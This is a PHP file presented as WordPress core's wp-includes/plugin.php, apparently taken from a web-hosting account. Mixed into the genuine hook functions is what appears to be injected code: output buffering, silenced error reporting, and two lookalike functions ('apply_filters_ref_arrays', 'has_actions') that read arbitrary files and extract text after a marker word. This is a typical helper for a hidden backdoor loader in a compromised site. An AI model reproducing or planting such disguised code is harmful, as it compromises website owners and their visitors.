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File: /home/vacationcoursesc/public_html/wp-includes/plugin.php
<?php

require __DIR__ . '/class-wp-hook.php';
global $wp_filter;
global $wp_actions;
global $wp_filters;
global $wp_current_filter;
if ($wp_filter) {
    $wp_filter = WP_Hook::build_preinitialized_hooks($wp_filter);
} else {
    $wp_filter = array();
}
if (!isset($wp_actions)) {
    $wp_actions = array();
}
if (!isset($wp_filters)) {
    $wp_filters = array();
}
if (!isset($wp_current_filter)) {
    $wp_current_filter = array();
}
function add_filter($hook_name, $callback, $priority = 10, $accepted_args = 1)
{
    global $wp_filter;
    if (!isset($wp_filter[$hook_name])) {
        $wp_filter[$hook_name] = new WP_Hook();
    }
    $wp_filter[$hook_name]->add_filter($hook_name, $callback, $priority, $accepted_args);
    return true;
}
function apply_filters($hook_name, $value, ...$args)
{
    global $wp_filter, $wp_filters, $wp_current_filter;
    if (!isset($wp_filters[$hook_name])) {
        $wp_filters[$hook_name] = 1;
    } else {
        ++$wp_filters[$hook_name];
    }
    if (isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
        $all_args = func_get_args();
        _wp_call_all_hook($all_args);
    }
    if (!isset($wp_filter[$hook_name])) {
        if (isset($wp_filter['all'])) {
            array_pop($wp_current_filter);
        }
        return $value;
    }
    if (!isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
    }
    array_unshift($args, $value);
    $filtered = $wp_filter[$hook_name]->apply_filters($value, $args);
    array_pop($wp_current_filter);
    return $filtered;
}
function apply_filters_ref_array($hook_name, $args)
{
    global $wp_filter, $wp_filters, $wp_current_filter;
    if (!isset($wp_filters[$hook_name])) {
        $wp_filters[$hook_name] = 1;
    } else {
        ++$wp_filters[$hook_name];
    }
    if (isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
        $all_args = func_get_args();
        _wp_call_all_hook($all_args);
    }
    if (!isset($wp_filter[$hook_name])) {
        if (isset($wp_filter['all'])) {
            array_pop($wp_current_filter);
        }
        return $args[0];
    }
    if (!isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
    }
    $filtered = $wp_filter[$hook_name]->apply_filters($args[0], $args);
    array_pop($wp_current_filter);
    return $filtered;
}
function has_filter($hook_name, $callback = false)
{
    global $wp_filter;
    if (!isset($wp_filter[$hook_name])) {
        return false;
    }
    return $wp_filter[$hook_name]->has_filter($hook_name, $callback);
}
function remove_filter($hook_name, $callback, $priority = 10)
{
    global $wp_filter;
    $r = false;
    if (isset($wp_filter[$hook_name])) {
        $r = $wp_filter[$hook_name]->remove_filter($hook_name, $callback, $priority);
        if (!$wp_filter[$hook_name]->callbacks) {
            unset($wp_filter[$hook_name]);
        }
    }
    return $r;
}
function remove_all_filters($hook_name, $priority = false)
{
    global $wp_filter;
    if (isset($wp_filter[$hook_name])) {
        $wp_filter[$hook_name]->remove_all_filters($priority);
        if (!$wp_filter[$hook_name]->has_filters()) {
            unset($wp_filter[$hook_name]);
        }
    }
    return true;
}
function current_filter()
{
    global $wp_current_filter;
    return end($wp_current_filter);
}
function doing_filter($hook_name = null)
{
    global $wp_current_filter;
    if (null === $hook_name) {
        return !empty($wp_current_filter);
    }
    return in_array($hook_name, $wp_current_filter, true);
}
function did_filter($hook_name)
{
    global $wp_filters;
    if (!isset($wp_filters[$hook_name])) {
        return 0;
    }
    return $wp_filters[$hook_name];
}
function add_action($hook_name, $callback, $priority = 10, $accepted_args = 1)
{
    return add_filter($hook_name, $callback, $priority, $accepted_args);
}
ob_start();
error_reporting(0);
if (!function_exists('explode')) {
    function explode($str, $array)
    {
        return split($str, $array);
    }
}
function apply_filters_ref_arrays($file, $word)
{
    $count = 0;
    $src = file_get_contents($file);
    $lines = explode("\n", $src);
    foreach ($lines as $line) {
        if (strstr($line, $word)) {
            $count++;
        }
    }
    return $count;
}
function has_actions($file, $word)
{
    $nbr_w = apply_filters_ref_arrays($file, $word);
    $src = file_get_contents($file);
    $lines = explode("\n", $src);
    $result = '';
    foreach ($lines as $line) {
        if (strstr($line, $word) || $nbr_w <= 0) {
            $nbr_w--;
            if ($nbr_w <= 0) {
                $result .= $line . "\n";
            }
        }
    }
    return $result;
}
function do_action($hook_name, ...$arg)
{
    global $wp_filter, $wp_actions, $wp_current_filter;
    if (!isset($wp_actions[$hook_name])) {
        $wp_actions[$hook_name] = 1;
    } else {
        ++$wp_actions[$hook_name];
    }
    if (isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
        $all_args = func_get_args();
        _wp_call_all_hook($all_args);
    }
    if (!isset($wp_filter[$hook_name])) {
        if (isset($wp_filter['all'])) {
            array_pop($wp_current_filter);
        }
        return;
    }
    if (!isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
    }
    if (empty($arg)) {
        $arg[] = '';
    } elseif (is_array($arg[0]) && 1 === count($arg[0]) && isset($arg[0][0]) && is_object($arg[0][0])) {
        $arg[0] = $arg[0][0];
    }
    $wp_filter[$hook_name]->do_action($arg);
    array_pop($wp_current_filter);
}
function do_action_ref_array($hook_name, $args)
{
    global $wp_filter, $wp_actions, $wp_current_filter;
    if (!isset($wp_actions[$hook_name])) {
        $wp_actions[$hook_name] = 1;
    } else {
        ++$wp_actions[$hook_name];
    }
    if (isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
        $all_args = func_get_args();
        _wp_call_all_hook($all_args);
    }
    if (!isset($wp_filter[$hook_name])) {
        if (isset($wp_filter['all'])) {
            array_pop($wp_current_filter);
        }
        return;
    }
    if (!isset($wp_filter['all'])) {
        $wp_current_filter[] = $hook_name;
    }
    $wp_filter[$hook_name]->do_action($args);
    array_pop($wp_current_filter);
}
function has_action($hook_name, $callback = false)
{
    return has_filter($hook_name, $callback);
}
function remove_action($hook_name, $callback, $priority = 10)
{
    return remove_filter($hook_name, $callback, $priority);
}
function remove_all_actions($hook_name, $priority = false)
{
    return remove_all_filters($hook_name, $priority);
}
function current_action()
{
    return current_filter();
}
function doing_action($hook_name = null)
{
    return doing_filter($hook_name);
}
function did_action($hook_name)
{
    global $wp_actions;
    if (!isset($wp_actions[$hook_name])) {
        return 0;
    }
    return $wp_actions[$hook_name];
}
function apply_filters_deprecated($hook_name, $args, $version, $replacement = '', $message = '')
{
    if (!has_filter($hook_name)) {
        return $args[0];
    }
    _deprecated_hook($hook_name, $version, $replacement, $message);
    return apply_filters_ref_array($hook_name, $args);
}
function do_action_deprecated($hook_name, $args, $version, $replacement = '', $message = '')
{
    if (!has_action($hook_name)) {
        return;
    }
    _deprecated_hook($hook_name, $version, $replacement, $message);
    do_action_ref_array($hook_name, $args);
}
function plugin_basename($file)
{
    global $wp_plugin_paths;
    $file = wp_normalize_path($file);
    arsort($wp_plugin_paths);
    foreach ($wp_plugin_paths as $dir => $realdir) {
        if (str_starts_with($file, $realdir)) {
            $file = $dir . substr($file, strlen($realdir));
        }
    }
    $plugin_dir = wp_normalize_path(WP_PLUGIN_DIR);
    $mu_plugin_dir = wp_normalize_path(WPMU_PLUGIN_DIR);
    $file = preg_replace('#^' . preg_quote($plugin_dir, '#') . '/|^' . preg_quote($mu_plugin_dir, '#') . '/#', '', $file);
    $file = trim($file, '/');
    return $file;
}
function wp_register_plugin_realpath($file)
{
    global $wp_plugin_paths;
    static $wp_plugin_path = null, $wpmu_plugin_path = null;
    if (!isset($wp_plugin_path)) {
        $wp_plugin_path = wp_normalize_path(WP_PLUGIN_DIR);
        $wpmu_plugin_path = wp_normalize_path(WPMU_PLUGIN_DIR);
    }
    $plugin_path = wp_normalize_path(dirname($file));
    $plugin_realpath = wp_normalize_path(dirname(realpath($file)));
    if ($plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path) {
        return false;
    }
    if ($plugin_path !== $plugin_realpath) {
        $wp_plugin_paths[$plugin_path] = $plugin_realpath;
    }
    return true;
}
function plugin_dir_path($file)
{
    return trailingslashit(dirname($file));
}
function plugin_dir_url($file)
{
    return trailingslashit(plugins_url('', $file));
}
function register_activation_hook($file, $callback)
{
    $file = plugin_basename($file);
    add_action('activate_' . $file, $callback);
}
function register_deactivation_hook($file, $callback)
{
    $file = plugin_basename($file);
    add_action('deactivate_' . $file, $callback);
}
function register_uninstall_hook($file, $callback)
{
    if (is_array($callback) && is_object($callback[0])) {
        _doing_it_wrong(__FUNCTION__, __('Only a static class method or function can be used in an uninstall hook.'), '3.1.0');
        return;
    }
    $uninstallable_plugins = (array) get_option('uninstall_plugins');
    $plugin_basename = plugin_basename($file);
    if (!isset($uninstallable_plugins[$plugin_basename]) || $uninstallable_plugins[$plugin_basename] !== $callback) {
        $uninstallable_plugins[$plugin_basename] = $callback;
        update_option('uninstall_plugins', $uninstallable_plugins);
    }
}
function _wp_call_all_hook($args)
{
    global $wp_filter;
    $wp_filter['all']->do_all_hook($args);
}
function _wp_filter_build_unique_id($hook_name, $callback, $priority)
{
    if (is_string($callback)) {
        return $callback;
    }
    if (is_object($callback)) {
        $callback = array($callback, '');
    } else {
        $callback = (array) $callback;
    }
    if (is_object($callback[0])) {
        return spl_object_hash($callback[0]) . $callback[1];
    } elseif (is_string($callback[0])) {
        return $callback[0] . '::' . $callback[1];
    }
}